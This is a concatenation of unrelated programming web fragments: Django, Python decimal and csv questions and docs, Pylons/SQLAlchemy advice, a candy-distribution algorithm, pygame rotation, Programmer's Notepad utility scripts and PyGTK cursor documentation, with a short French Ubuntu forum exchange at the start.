@ alexi Le format téléchargé est toujours le même, juste une question d'extension.
Voir ici: http://forum.ubuntu-fr.org/viewtopic.ph … #p11584921
Hors ligne
alexi
Re : Qarte arte.tv browser (ex Qarte+7)
Merci pour ta réponse VinsS
Donc si j'ai bien compris, je peux également changer et mettre une extension .avi ? (encore désolée si ma question est idiote)
Sous linux depuis 2 ans :)
Tourne sous Ubuntu 14.04 avec KDE
Mes pains maison
Hors ligne |
I need to perform case-insensitive queries on username by defaultwhen using the Django Auth framework.
I tried fixing the issue by writing a custom subclass of Querysetand overriding the _filter_or_exclude method and then using thatsubclass in a custom manager for the User model-
from django.db.models import Manager
from django.db.models.query import QuerySet
from django.contrib.auth.models import UserManager
class MyQuerySet(QuerySet):
def _filter_or_exclude(self, negate, *args, **kwargs):
if 'username' in kwargs:
kwargs['username__iexact'] = kwargs['username']
del kwargs['username']
return super(MyQuerySet, self)._filter_or_exclude(negate, *args, **kwargs)
class MyUserManager(UserManager):
def get_query_set(self):
return MyQuerySet(self.model)
User.objects = MyUserManager()
But this approach didn't work and I am getting an weird error when Itry doing User.objects.get(username='Foo').
Any help would be appreciated.
Update: I am including the exact error that I am getting.
/usr/lib/python2.5/site-packages/django/db/models/query.py in get(self, *args, **kwargs)
295 keyword arguments.
296 """
--> 297 clone = self.filter(*args, **kwargs)
298 num = len(clone)
299 if num == 1:
/usr/lib/python2.5/site-packages/django/db/models/query.py in filter(self, *args, **kwargs)
481 set.
482 """
--> 483 return self._filter_or_exclude(False, *args, **kwargs)
484
485 def exclude(self, *args, **kwargs):
/home/ghoseb/src/git/ocricket.git/ocricket/user/models.py in _filter_or_exclude(self, negate, *args, **kwargs)
38 kwargs['username__iexact'] = kwargs['username']
39 del kwargs['username']
---> 40 return super(MyQuerySet, self)._filter_or_exclude(negate, *args, **kwargs)
41
42 class MyUserManager(UserManager):
/usr/lib/python2.5/site-packages/django/db/models/query.py in _filter_or_exclude(self, negate, *args, **kwargs)
499 clone.query.add_q(~Q(*args, **kwargs))
500 else:
--> 501 clone.query.add_q(Q(*args, **kwargs))
502 return clone
503
/usr/lib/python2.5/django/db/models/sql/query.py in add_q(self, q_object, used_aliases)
/usr/lib/python2.5/django/db/models/sql/query.py in add_filter(self, filter_expr, connector, negate, trim, can_reuse, process_extras)
/usr/lib/python2.5/django/db/models/sql/query.py in get_meta(self)
<type 'exceptions.AttributeError'>: 'NoneType' object has no attribute '_meta'
Update: By the way, I just wanted to mention that when I copy the logic inside my _filter_or_exclude method into the actual QuerySet class, it works flawlessly. |
Module decimal
This is a Py2.3 implementation of decimal floating point arithmetic based on
the General Decimal Arithmetic Specification:
www2.hursley.ibm.com/decimal/decarith.html
and IEEE standard 854-1987:
www.cs.berkeley.edu/~ejr/projects/754/private/drafts/854-1987/dir.html
Decimal floating point has finite precision with arbitrarily large bounds.
The purpose of the module is to support arithmetic using familiar
"schoolhouse" rules and to avoid the some of tricky representation
issues associated with binary floating point. The package is especially
useful for financial applications or for contexts where users have
expectations that are at odds with binary floating point (for instance,
in binary floating point, 1.00 % 0.1 gives 0.09999999999999995 instead
of the expected Decimal("0.00") returned by decimal floating point).
Here are some examples of using the decimal module:
>>> from decimal import *
>>> setcontext(ExtendedContext)
>>> Decimal(0)
Decimal("0")
>>> Decimal("1")
Decimal("1")
>>> Decimal("-.0123")
Decimal("-0.0123")
>>> Decimal(123456)
Decimal("123456")
>>> Decimal("123.45e12345678901234567890")
Decimal("1.2345E+12345678901234567892")
>>> Decimal("1.33") + Decimal("1.27")
Decimal("2.60")
>>> Decimal("12.34") + Decimal("3.87") - Decimal("18.41")
Decimal("-2.20")
>>> dig = Decimal(1)
>>> print dig / Decimal(3)
0.333333333
>>> getcontext().prec = 18
>>> print dig / Decimal(3)
0.333333333333333333
>>> print dig.sqrt()
1
>>> print Decimal(3).sqrt()
1.73205080756887729
>>> print Decimal(3) ** 123
4.85192780976896427E+58
>>> inf = Decimal(1) / Decimal(0)
>>> print inf
Infinity
>>> neginf = Decimal(-1) / Decimal(0)
>>> print neginf
-Infinity
>>> print neginf + inf
NaN
>>> print neginf * inf
-Infinity
>>> print dig / 0
Infinity
>>> getcontext().traps[DivisionByZero] = 1
>>> print dig / 0
Traceback (most recent call last):
...
...
...
DivisionByZero: x / 0
>>> c = Context()
>>> c.traps[InvalidOperation] = 0
>>> print c.flags[InvalidOperation]
0
>>> c.divide(Decimal(0), Decimal(0))
Decimal("NaN")
>>> c.traps[InvalidOperation] = 1
>>> print c.flags[InvalidOperation]
1
>>> c.flags[InvalidOperation] = 0
>>> print c.flags[InvalidOperation]
0
>>> print c.divide(Decimal(0), Decimal(0))
Traceback (most recent call last):
...
...
...
InvalidOperation: 0 / 0
>>> print c.flags[InvalidOperation]
1
>>> c.flags[InvalidOperation] = 0
>>> c.traps[InvalidOperation] = 0
>>> print c.divide(Decimal(0), Decimal(0))
NaN
>>> print c.flags[InvalidOperation]
1
>>>
getcontext(_local=local)
Returns this thread's context.
setcontext(context, _local=local)
Set this thread's context to context.
localcontext(ctx=None)
Return a context manager for a copy of the supplied context
_normalize(op1, op2, shouldround=0, prec=0)
Normalizes op1, op2 to have the same exp and length of coefficient.
_isinfinity(num)
Determines whether a string or float is infinity.
_isnan(num)
Determines whether a string or float is NaN
_parser(...)
match(string[, pos[, endpos]]) --> match object or None.
ROUND_DOWN = 'ROUND_DOWN'
ROUND_HALF_UP = 'ROUND_HALF_UP'
ROUND_HALF_EVEN = 'ROUND_HALF_EVEN'
ROUND_CEILING = 'ROUND_CEILING'
ROUND_FLOOR = 'ROUND_FLOOR'
ROUND_UP = 'ROUND_UP'
ROUND_HALF_DOWN = 'ROUND_HALF_DOWN'
NEVER_ROUND = 'NEVER_ROUND'
ALWAYS_ROUND = 'ALWAYS_ROUND'
_signals = [<class 'decimal.Clamped'>, <class 'decimal.Divisio...
_condition_map = {<class 'decimal.ConversionSyntax'>: <class '...
_infinity_map = {'+inf': 1, '+infinity': 1, '-inf': -1, '-infi...
DefaultContext = Context(prec=28, rounding=ROUND_HALF_EVEN, Em...
BasicContext = Context(prec=9, rounding=ROUND_HALF_UP, Emin=-9...
ExtendedContext = Context(prec=9, rounding=ROUND_HALF_EVEN, Em...
Inf = Decimal("Infinity")
negInf = Decimal("-Infinity")
Infsign = (Decimal("Infinity"), Decimal("-Infinity"))
NaN = Decimal("NaN")
Imports: _copy
Returns this thread's context.
If this thread does not yet have a context, returns a new context and sets this thread's context. New contexts are copies of DefaultContext.
Return a context manager for a copy of the supplied context
Uses a copy of the current context if no context is specified
The returned context manager creates a local decimal context
in a with statement:
def sin(x):
with localcontext() as ctx:
ctx.prec += 2
# Rest of sin calculation algorithm
# uses a precision 2 greater than normal
return +s # Convert result to normal precision
def sin(x):
with localcontext(ExtendedContext):
# Rest of sin calculation algorithm
# uses the Extended Context from the
# General Decimal Arithmetic Specification
return +s # Convert result to normal context
_normalize(op1, op2, shouldround=0, prec=0)
Normalizes op1, op2 to have the same exp and length of coefficient.
Done during addition.
_adjust_coefficients(op1, op2)
Adjust op1, op2 so that op2.int * 10 > op1.int >= op2.int.
Returns the adjusted op1, op2 as well as the change in op1.exp-op2.exp.
Used on _WorkRep instances during division.
Convert other to Decimal.
Verifies that it's ok to use in an implicit construction.
Determines whether a string or float is infinity.
+1 for negative infinity; 0 for finite ; +1 for positive infinity
Determines whether a string or float is NaN
(1, sign, diagnostic info as string) => NaN (2, sign, diagnostic info as string) => sNaN 0 => not a NaN
match(string[, pos[, endpos]]) --> match object or None. Matches zero or more characters at the beginning of the string
_signals
Value:
[<class 'decimal.Clamped'>,
<class 'decimal.DivisionByZero'>,
<class 'decimal.Inexact'>,
<class 'decimal.Overflow'>,
<class 'decimal.Rounded'>,
<class 'decimal.Underflow'>,
<class 'decimal.InvalidOperation'>,
<class 'decimal.Subnormal'>]
_condition_map
Value:
{<class 'decimal.ConversionSyntax'>: <class 'decimal.InvalidOperation'
>,
<class 'decimal.DivisionImpossible'>: <class 'decimal.InvalidOperatio
n'>,
<class 'decimal.DivisionUndefined'>: <class 'decimal.InvalidOperation
'>,
<class 'decimal.InvalidContext'>: <class 'decimal.InvalidOperation'>}
_infinity_map
Value:
{'+inf': 1,
'+infinity': 1,
'-inf': -1,
'-infinity': -1,
'inf': 1,
'infinity': 1}
DefaultContext
Value:
Context(prec=28, rounding=ROUND_HALF_EVEN, Emin=-999999999, Emax=99999
9999, capitals=1, flags=[], traps=[InvalidOperation, Overflow, Divisio
nByZero])
BasicContext
Value:
Context(prec=9, rounding=ROUND_HALF_UP, Emin=-999999999, Emax=99999999
9, capitals=1, flags=[], traps=[Underflow, InvalidOperation, Overflow,
Clamped, DivisionByZero])
ExtendedContext
Value:
Context(prec=9, rounding=ROUND_HALF_EVEN, Emin=-999999999, Emax=999999
999, capitals=1, flags=[], traps=[]) |
I'm new to programming, and also to this site, so my apologies in advance for anything silly or "newbish" I may say or ask.
I'm currently trying to write a script in python that will take a list of items and write them into a csv file, among other things. Each item in the list is really a list of two strings, if that makes sense. In essence, the format is [[Google, http://google.com], [BBC, http://bbc.co.uk]], but with different values of course.
Within the CSV, I want this to show up as the first item of each list in the first column and the second item of each list in the second column.
This is the part of my code that I need help with:
with open('integration.csv', 'wb') as f:
writer = csv.writer(f, delimiter=',', dialect='excel')
writer.writerows(w for w in foundInstances)
For whatever reason, it seems that the delimiter is being ignored. When I open the file in Excel, each cell has one list. Using the old example, each cell would have "Google, http://google.com". I want Google in the first column and http://google.com in the second. So basically "Google" and "http://google.com", and then below that "BBC" and "http://bbc.co.uk". Is this possible?
Within my code, foundInstances is the list in which all the items are contained. As a whole, the script works fine, but I cannot seem to get this last step. I've done a lot of looking around within stackoverflow and the rest of the Internet, but I haven't found anything that has helped me with this last step.
Any advice is greatly appreciated. If you need more information, I'd be happy to provide you with it.
Thanks! |
I hope you got pylons working; for anyone else that may later read question I'll present some pointers in the right direction.
First of all, you are only creating a engine and a metadata object. While you can use the engine to create connections directly you would almost always use a Session to manage querying and updating your database.
Pylons automatically setups this for you by creating a engine from your configuration file, then passing it to yourproject.model.__init__.py:init_model() which binds it to a scoped_session object.
This scoped_session object is available from yourproject.model.meta and is the object you would use to query your database. For example:
record = meta.Session.query(model.MyTable).filter(id=42)
Because it is a scoped_session it automatically creates a Session object and associates it with the current thread if it doesn't already exists. Scoped_session passes all action (.query(), .add(), .delete()) down into the real Session object and thus allows you a simple way to interact the database with having to manage the non-thread-safe Session object explicitly.
The scoped_session, Session, object from yourproject.model.meta is automatically associated with a metadata object created as either yourproject.model.meta:metadata (in pylons 0.9.7 and below) or yourproject.model.meta:Base.metadata (in pylons 1.0). Use this metadata object to define your tables. As you can see in newer versions of pylons a metadata is associated with a declarative_base() object named Base, which allows you to use SqlAlchemy's declarative style.
Using this from the controller
from yourproject import model
from yourproject.model import Session
class MyController(..):
def resource(self):
result = Session.query(model.email_list).\
filter(model.email_list.c.id=42).one()
return str(result)
Use real connections
If you really want to get a connection object simply use
from yourproject.model import Session
connection = Session.connection()
result = connection.execute("select 3+4;")
// more connection executions
Session.commit()
However this is all good, but what you should be doing is...
This leaves out that you are not really using SqlAlchemy much. The power of SqlAlchemy really shines when you start mapping your database tables to python classes. So anyone looking into using pylons with a database should take a serious look at what you can do with SqlAlchemy. If SqlAlchemy starts out intimidating simply start out with using its declarative approach, which should be enough for almost all pylons apps.
In your model instead of defining Table constructs, do this:
from sqlalchemy import Column, Integer, Unicode, ForeignKey
from sqlalchemy.orm import relation
from yourproject.model.meta import Base
class User(Base):
__tablename__ = 'users'
# primary_key implies nullable=False
id = Column(Integer, primary_key=True, index=True)
# nullable defaults to True
name = Column(Unicode, nullable=False)
notes = relation("UserNote", backref="user")
query = Session.query_property()
class UserNote(Base):
__tablename__ = 'usernotess'
# primary_key implies nullable=False
id = Column(Integer, primary_key=True, index=True)
userid = Column(Integer, index=True, ForeignKey("User.id"))
# nullable defaults to True
text = Column(Unicode, nullable=False)
query = Session.query_property()
Note the query objects. These are smart object that live on the class and associates your classes with the scoped_session(), Session. This allows you to event more easily extract data from your database.
from sqlalchemy.orm import eagerload
def resource(self):
user = User.query.filter(User.id==42).options(eagerload("notes")).one()
return "\n".join([ x.text for x in user.notes ])
|
To make the analysis of this algorithm more interesting I will the following input:
9
2
3
4
4
4
2
1
3
4
Firstly, notice if a kid sits next to a kid who is getting x candies and that kid has a lower rating then the first kid should get at least x+1 candies. Making the difference more than 1 will just waste candies. The difference sometimes must be greater than 1, but I'll get to when that happens later.
Now on to finding the kids who should get only one candy. I visualise the ratings as a mountain range (The greater the rating the higher the mountains at that point) and finding the kids who should get one candy as finding valleys (points where both neighbours have a higher rating or the same rating) in the mountain range. The example given would look like (the valleys are indicated by the arrows):
*** *
**** **
****** **
*********
^ ^ ^
For the purpose of this process I assume there are 2 peaks of "infinite" height before the beginning and after the end of this line. (When I say infinite I just mean larger than any possible value in the input so you can just use 10^5+1 for "infinity". In practice, I'd use a value larger than that in case the problem setters have bugged input data.)
You can easily find the valleys using the following code:
ratings = ...
N = ...
valleys = []
def get_rating(i):
if i < 0 or i > N-1:
return INFINITY
return ratings[i]
for i from 0 to N-1:
if get_rating(i) <= get_rating(i-1) and get_rating(i) <= get_rating(i+1):
valleys.append(i)
The array valleys contains the indices of the valleys. We know each kid representing a valley should get one candy. For illustration assume the valley is at index 4. Now we know the kids at index 3 and 5 should get at least 2 candies. If the kid at index 2 has a higher rating than the kid at index 3 that kid should get at least 3 candies. And so on for 2 and down. Similarly for 6 and up.
Note I say "at least", this is because of peaks (kids whose ratings are higher than both of their neighbour's, note unlike valleys I don't include equality in this definition). Peaks can have two minimum constraints and we simply choose the greater of the two.
Now we can find the number of candies each kid should get with the following code:
candies = [0] * N # An array of N 0s
for valley_idx in valleys:
candies[valley_idx] = 1
cur_idx = valley_idx-1
cur_candies = 2
while cur_idx >= 0 and ratings[cur_idx] > ratings[cur_idx+1]:
candies[cur_idx] = max(candies[cur_idx], cur_candies)
cur_idx -= 1
cur_candies += 1
cur_idx = valley_idx+1
cur_candies = 2
while cur_idx < N and ratings[cur_idx] > ratings[cur_idx-1]:
candies[cur_idx] = max(candies[cur_idx], cur_candies)
cur_idx += 1
cur_candies += 1
Then the number of candies the teacher needs to buy is the sum of the values in the candies array.
Doing this the answer turns out to be 18 for our sample input or in the form of a graph:
* * *
** ** **
*********
Solution to slightly altered problem statement
In the above solution I assumed that adjacent kids with the same rating don't place any restrictions on the amount of candy either should get with relation to the other. If it is instead the case that both kids need to get the same amount of candy we can quite easily alter the algorithm to take this into account.
The basic idea is that we do a sort of run length encoding, because we can notice that whether there are 1 or more kids in a row that have the same rating it doesn't alter the amount of candies their neighbours should get. We need to keep track of the number of kids in a row though since 5 kids in a row getting 5 candies means we have to dole out 25 candies and not just 5. We do this with a multipliers array. Using the following code we find the new ratings array and the multipliers array:
new_ratings = [ratings[0]]
multipliers = [1]
for i from 1 to N-1:
if ratings[i] == new_ratings[len(new_ratings)-1]:
multipliers[len(new_ratings)-1] += 1
else:
new_ratings.append(ratings[i])
multipliers.append(1)
Now we just run the original algorithm on the new_ratings array and get a candies array. Then to get the actual amount of candies we can just run:
answer = 0
for i from 0 to len(new_ratings)-1:
answer += multipliers[i] * candies[i]
Doing this the answer turns out to be 20 for our sample input or in the form of a graph:
*** *
***** **
********* |
I'm trying to do a relatively simple animation that requires rotating an ellipse on a rotating background. I've had to resort to a bit of trickery to get pygame.transform.rotate to play nice with the surfaces I'm trying to rotate. Namely, I've made this function that recenters the new rect obtained from pygame's rotation function:
def recenter(orig_rect, rotated_surf):
oldcenter = orig_rect.center
rotRect = rotated_surf.get_rect()
rotRect.center = oldcenter
screen.blit(rotated_surf, rotRect)
The functionning is fairly self-explanatory. I realize that the original (unrotated) surface remains blitted onto the display, but this turns out not to really be a problem. Don't worry about that.
The above function is used by the rotating functions (background & ellipse) as such:
# width, height, screen are globals
def rotate_background(surf, speed, t0):
new_angle = ((pygame.time.get_ticks() - t0) * (speed / 1000)) % 360
w, h = surf.get_size()
blittedRect = screen.blit(surf, (width / 2 - w / 2, height / 2 - h / 2))
recenter(blittedRect, pygame.transform.rotate(surf, new_angle))
return surf
def rotate_ellipse(surf, coords, speed, t0):
new_angle = ((pygame.time.get_ticks() - t0) * (speed / 1000)) % 360
if new_angle > 90:
new_angle = 90 # limit rotation
w, h = surf.get_size()
x, y = coords
blittedRect = screen.blit(surf, (width / 2 - w / 2 + x, height / 2 - h / 2 + y))
recenter(blittedRect, pygame.transform.rotate(surf, new_angle))
These rotation functions are called one for each frame.
Here's a simplified version of my main game loop. Note that this is not the actual production code, but serves as an illustration of how the above elements (which are taken directly from the code base) tie together:
ellipse = create_ellipse() # returns a surf
background = create_background() # returns a surf
while True:
rotate_background()
rotate_ellipse()
pygame.display.flip()
A word about the background and ellipse variables above. Both variables contain a pygame.Surface instance on which things have been drawn. I won't go into details about background since that is working fine. In create_ellipse, an ellipse was drawn onto the ellipse surface by means of pygame.draw.ellipse, in yellow. Prior to that, ellipse.fill(GREEN) was called. The colorkey for ellipse was also set to GREEN to make sure that the entire surface is transparent except where the yellow ellipse was drawn.
The Problem: I'm not seeing the ellipse
I commented out ellipse.set_colorkey to make sure that the ellipse was properly blitted. It is. I see a green rectagle appear that changes in dimension as the ellipse is rotated. This led me to infer that there is, indeed, an ellipse being drawn since it can be rotated.
What gives? I can provide the full code if it can be useful. The whole thing is approximately 200 lines, but I hope my explanation above is enough for you guys. I figured we should start locally and work outwards =)
Thanks very much in advance! |
Please consider using this website to upload your scripts:
It's a bit more organized and allows for easier browsing/uploading/viewing/downloading. If you have any comments/suggestions on that site, please use the feedback link. Eventually the scriptshare website's functionality will be incorporated into pnotepad.org, but for now it exists on a separate domain.
If you've already uploaded scripts to this page, consider registering on the scriptshare site and re-uploading your script there. That will allow for things like comments, sorting, etc.
This wiki page is now obsolete
This page served as a temporary home for user-submitted scripts. If you are adding a new script, please consider using the http://scriptshare.rocketmonkeys.com/ site instead. This page is now obsolete.
* Please do not modify someone else's script. If you modify someone else's script, repost it under your name or send your changes to the original author so they can update it. Otherwise it's chaos... chaos!
Please follow this template:
### [author's username] - [script title]
[description]
[script contents]
This is modified from the SortLines() script by Scott (wischeese). It sorts lines and removes any duplicates. Case sensitive.
@script("Sort Lines (No Duplicates)", "Text") def SortLinesNoDuplicates(): """ Sort Lines, Remove Duplicates (Modified by jumpfroggy from wischeese's "SortLines" script) """ editor = scintilla.Scintilla(pn.CurrentDoc()) editor.BeginUndoAction() lsSelection = editor.GetTextRange(editor.SelectionStart, editor.SelectionEnd) laLines = lsSelection.splitlines(0) laLines.sort() # Filter out duplicate lines laLines2 = [] for line in laLines: if line not in laLines2: laLines2.append(line) lsReplace = string.join(laLines2, '\r\n' ) editor.ReplaceSel(lsReplace) editor.EndUndoAction()
ClipStack is a Programmer's Notepad clipboard stack. It allows the user to select text and copy the text, which gets pushed onto a stack. Later this text can be pasted, which then pops the text off of this stack.
So, for example, if the user copies item A, then item B, and then item C, all using ClipStack; then they could then paste these items back in the order: Item C, Item B, Item A.
ClipStack does copy the the text into the clipboard so that you can paste the current selection in another application, but this will not pop an item off of the stack.
When pasting using ClipStack the current contents of the clipboard are replaced with the item on the top of the stack. This means that anything currently in the clipboard will be lost.
What ClipStack does not do is push the current clipboard onto the stack.
ClipStack could be improved by the addition of a clipboard aware python module that would allow the current clipboard to be used as the top item of the stack. This would allow the snippet to better interact with other applications.
############################################################################### ## ClipStack.py -- A clipboard stack allowing you to copy items into a stack ## and then paste them back in a FILO way. So the first item copied to the stack ## is the last item pasted from it. ## Copy item #1, Copy item #2, Copy item #3 ## Paste #3, #2, #1 ## ## The last item copied is placed onto the regular OS clipboard ## The last item pasted is ALSO placed into the regular OS clipboard ## So take care not to confuse this with the regular OS clipboard and ## The standard Copy/Paste operations. ## By: NickDMax import pn import scintilla from pypn.decorators import script class PNClipStack: """ Maintains a stack of text to paste """ def __init__(self): """ initialize inner data: stack -- the internal list used to store clipboard items """ self.stack = [] def push(self, text): self.stack.append(text) def pop(self): retValue = '' if len(self.stack) > 0: retValue = self.stack.pop() return retValue def clear(self): self.stack = [] def getSize(self): return len(self.stack) ClipStack = PNClipStack() @script('Stack Count', 'ClipStack') def clstkCount(): """ Prints out the size of the current ClipStack """ pn.AddOutput('ClipStack Size: ' + str(ClipStack.getSize()) + '\n') @script('Copy', 'ClipStack') def clstkCopy(): """ Adds the current selection to the ClipStack """ doc = pn.CurrentDoc() if doc is not None: #Lets try not to crash our script editor = scintilla.Scintilla(doc) start = editor.SelectionStart end = editor.SelectionEnd if (start == end): #nothing is selected lets try to grab the current word. start = editor.WordStartPosition(start, True) end = editor.WordEndPosition(end, True) text = None if (start != end): text = editor.GetTextRange(start, end) if text is not None: ClipStack.push(text) editor.CopyText(len(text), text) #clstkCount() @script('Cut', 'ClipStack') def clstkCut(): """ Adds the current selection to the ClipStack -- cuts it from document""" doc = pn.CurrentDoc() if doc is not None: #Lets try not to crash our script editor = scintilla.Scintilla(doc) start = editor.SelectionStart end = editor.SelectionEnd if (start == end): #nothing is selected lets try to grab the current word. start = editor.WordStartPosition(start, True) end = editor.WordEndPosition(end, True) text = None if (start != end): text = editor.GetTextRange(start, end) if text is not None: ClipStack.push(text) editor.SetSel(start, end) editor.Cut() #clstkCount() @script('Paste', 'ClipStack') def clstkPaste(): """ Pastes the top item from the ClipStack into the document """ doc = pn.CurrentDoc() if doc is not None: #Lets try not to crash our script editor = scintilla.Scintilla(doc) text = ClipStack.pop() editor.CopyText(len(text), text) editor.Paste() #clstkCount() @script('Clear', 'ClipStack') def clstkCear(): """ Clears the current ClipStack """ ClipStack.clear() #clstkCount()
Use this script to encode/decode selections using base64. This can be very useful for embedding Base64 images into HTML. Simply open a small gif/png in PN, select all, and then Base64Encode. This creates a Base64 Version of your image in a new document. Prefix the encoding with ''data:image/gif;base64,'' and you have a Base64 version of your image that you can paste directly into and HTML IMG tag's source.
############################################################################### ## base64Utils.py -- PnPy utility script to encode and decode base64. ## tested on Python 2.6.1. This utility will take the current selection ## (or document if there is no selection) and create a base 64 encoded document ## It will also take a base 64 encoded document and return the unencoded text. ## -- Note: No verification is done to ensure that the unencoded data is ## ASCII or valid unicode textual data. ## By: NickDMax import pn import scintilla from pypn.decorators import script import base64 @script("Base64Encode", "DocUtils") def doBase64(): """ This method will grab the curent selection/document and create a new document that is a base64 vesion of the text """ doc = pn.CurrentDoc() if doc is not None: #Lets try not to crash pn too often... editor = scintilla.Scintilla(doc) start = editor.SelectionStart end = editor.SelectionEnd if (start == end): #nothing is selected so we will just grab it all... start = 0 end = editor.Length text = editor.GetTextRange(start, end) newDoc = pn.NewDocument(None) newEditor = scintilla.Scintilla(newDoc) newEditor.BeginUndoAction() encoded = base64.b64encode(text) l = len (encoded) m = 0 while l > 80: str = encoded[m:m+80] + '\n' newEditor.AppendText(len(str), str) l, m = l - 80, m + 80 str = encoded[m:m+l] newEditor.AppendText(len(str), str) newEditor.EndUndoAction() @script("DecodeBase64", "DocUtils") def undoBase64(): """ This method will grab the curent selection/document and create a new document that is the base64 decoded vesion of the text """ doc = pn.CurrentDoc() if doc is not None: #Lets try not to crash pn too often... editor = scintilla.Scintilla(doc) start = editor.SelectionStart end = editor.SelectionEnd if (start == end): #nothing is selected so we will just grab it all... start = 0 end = editor.Length text = editor.GetTextRange(start, end) decoded = base64.b64decode(text) newDoc = pn.NewDocument(None) newEditor = scintilla.Scintilla(newDoc) newEditor.BeginUndoAction() newEditor.AppendText(len(decoded), decoded) newEditor.EndUndoAction()
Functions to extract the current selection as a new document, or paste the contents of the clipboard as a new document.
############################################################################### ## AsNewUtils scripts -- the purpose of this script is to provide functions for ## extracting /pasting text as new documents. ## By: NickDMax import pn import scintilla from pypn.decorators import script @script("Extract As New", "DocUtils") def dupDocument(): """ This script will extract the current selection to a new document. """ """ if there is no selection then it will duplicate the entire document. """ doc = pn.CurrentDoc() if doc is not None: #Lets try not to crash pn too often... editor = scintilla.Scintilla(doc) start = editor.SelectionStart end = editor.SelectionEnd sch = doc.CurrentScheme if (start == end): #nothing is selected so we will just grab it all... start = 0 end = editor.Length text = editor.GetTextRange(start, end) newDoc = pn.NewDocument(sch) newEditor = scintilla.Scintilla(newDoc) newEditor.BeginUndoAction() newEditor.AppendText(len(text), text) newEditor.EndUndoAction() @script("Paste As New", "DocUtils") def pasteAsNew(): """ This script will paste the current contense of the clipboard into a new document """ newDoc = pn.NewDocument(None) newEditor = scintilla.Scintilla(newDoc) newEditor.BeginUndoAction() newEditor.Paste() newEditor.EndUndoAction()
Extracts the current selection as a hex dump in a new document.
############################################################################### ## Doc2Hex v0.1 -- Will extract the current selection into a new document ## Formatting the text as a Hex Dump. ## By: NickDMax import pn import scintilla from pypn.decorators import script def HexEncode(text): output = "" if text is not None: lineLength = 0 position = 0 while len(text) > 0: output += "%08X |" % position if len(text) <= 16: lineLength = len(text) else: lineLength = 16 snippet = text[0: lineLength] for x in snippet: output += " %02X" % ord(x) output += "\n" position += 16; text = text[lineLength:] return output @script("Doc2Hex", "DocUtils") def Doc2Hex(): """ Doc2Hex will convert the current document into a HexDump """ doc = pn.CurrentDoc() if doc is not None: #Lets try not to crash pn too often... editor = scintilla.Scintilla(pn.CurrentDoc()) start = editor.SelectionStart end = editor.SelectionEnd if (start == end): #nothing is selected so we will just grab it all... start = 0 end = editor.Length text = editor.GetTextRange(start, end) newDoc = pn.NewDocument(None) newEditor = scintilla.Scintilla(newDoc) newEditor.BeginUndoAction() encoded = HexEncode(text) newEditor.AppendText(len(encoded), encoded) newEditor.EndUndoAction()
This script converts the number you have selected into Decimal, Hexadecimal, Octal and Binary and shows the results in the output window.
import pn, scintilla def hex2dec(s): """return the integer value of a hexadecimal string s""" return int(s, 16) def Denary2Binary(n): """convert denary integer n to binary string bStr""" bStr = '' if n < 0: raise ValueError, "must be a positive integer" if n == 0: return '0' while n > 0: bStr = str(n % 2) + bStr n = n >> 1 return bStr @script("ConvertNumber") def ConvertNumber(): s = scintilla.Scintilla(pn.CurrentDoc()) if s.SelectionEnd - s.SelectionStart < 1: return sel = s.SelText if sel.find('0x') != -1: sel = sel.replace("0x", "") sel = hex2dec(sel) else: sel = int(sel) pn.AddOutput("Dec: %d\n" % sel) pn.AddOutput("Hex: 0x%X\n" % sel) pn.AddOutput("Oct: %o\n" % sel) pn.AddOutput("Bin: %s" % Denary2Binary(sel))
This script beautify the xml content in current active tab.
```python
import pn
import scintilla
import re, string
from pypn.decorators import script
@script("Beautify", "Xml")
def Beautify():
editor = scintilla.Scintilla(pn.CurrentDoc())
data = editor.GetText(editor.Length)
fields = re.split('(<.*?>)',data) content = '' level = 0 for f in fields: if string.strip(f)=='': continue if f[0]=='<' and f[1] != '/' and f[-2] != '/': content += ' '*(level*4) + f + '\n' level = level + 1 elif f[0] == '<' and f[1] != '/' and f[-2] == '/': content += ' '*(level*4) + f + '\n' elif f[:2]=='</': level = level - 1 content += ' '*(level*4) + f + '\n' else: content += ' '*(level*4) + f + '\n' editor.BeginUndoAction() editor.ClearAll() editor.AddText(len(content), content) editor.EndUndoAction()
|
gtk.gdk.Cursor — standard and pixmap cursors
class gtk.gdk.Cursor(gobject.GBoxed):
gtk.gdk.Cursor(cursor_type)
gtk.gdk.Cursor(display, cursor_type)
gtk.gdk.Cursor(display, pixbuf, x, y)
gtk.gdk.Cursor(source, mask, fg, bg, x, y)
def get_display()
A gtk.gdk.Cursorrepresents a bitmap image used for the mouse pointer. Each gtk.gdk.Window canhave its own cursor. By default a gtk.gdk.Window usesits parent's cursor. A standard set of cursors is provided inPyGTK:
gtk.gdk.Cursor(cursor_type)
the standard cursor to create
a new gtk.gdk.Cursor
Creates the new gtk.gdk.Cursor froma builtin cursor specified by cursor_type. To makethe cursor invisible, see the description of the gtk.gdk.Cursor() constructor thatcreates a cursor from a pixmap below.
gtk.gdk.Cursor(display, cursor_type)
the gtk.gdk.Display to create the cursor for
the standard cursor to create
a new gtk.gdk.Cursor
This constructor is available in PyGTK 2.4 and above.
Creates the new gtk.gdk.Cursor forthe gtk.gdk.Displayspecified by display from a builtin cursor specifiedby
cursor_type
gtk.gdk.Cursor(display, pixbuf, x, y)
the gtk.gdk.Display to create the cursor for
the gtk.gdk.Pixbufholding the cursor image
the "hot spot" x offset
the "hot spot" y offset
a new gtk.gdk.Cursor
This constructor is available in PyGTK 2.4 and above.
Creates a new gtk.gdk.Cursor forthe gtk.gdk.Displayspecified by display using the gtk.gdk.Pixbufspecified by source as the icon image. The "hotspot"of the cursor will be located as the position specified by
xy
gtk.gdk.Cursor(source, mask, fg, bg, x, y)
the gtk.gdk.Pixmapholding the cursor image
the gtk.gdk.Pixmap touse as a mask
the unallocated foreground gtk.gdk.Color
the unallocated background gtk.gdk.Color
the "hot spot" x offset
the "hot spot" y offset
a new gtk.gdk.Cursor
Creates a new gtk.gdk.Cursorusing:
gtk.gdk.Pixmapspecified by sourcegtk.gdk.Pixmapspecified by masksourcegtk.gdk.Colorspecified by fggtk.gdk.Colorspecified by bgxy
To make the cursor invisible, create a cursor from an emptygtk.gdk.Pixmapas follows:
pixmap = gtk.gdk.Pixmap(None, 1, 1, 1) color = gtk.gdk.Color() cursor = gtk.gdk.Cursor(pixmap, pixmap, color, color, 0, 0)
def get_display()
the associated gtk.gdk.Display
This method is available in PyGTK 2.2 and above.
The get_display() method returns thegtk.gdk.Display onwhich the cursor is defined. |
When you have a well-written library, which is sometimes case in python, you ought just import it and use it as it. Well-written library tends to take life and language of its own, resulting in pleasant-to-read -code, where you rarely reference the library. When a library is well-written, you ought not need renaming or anything else too often.
import gat
node = gat.Node()
child = node.children()
Sometimes it's not possible to write it this way, or then you want to lift down things from library you imported.
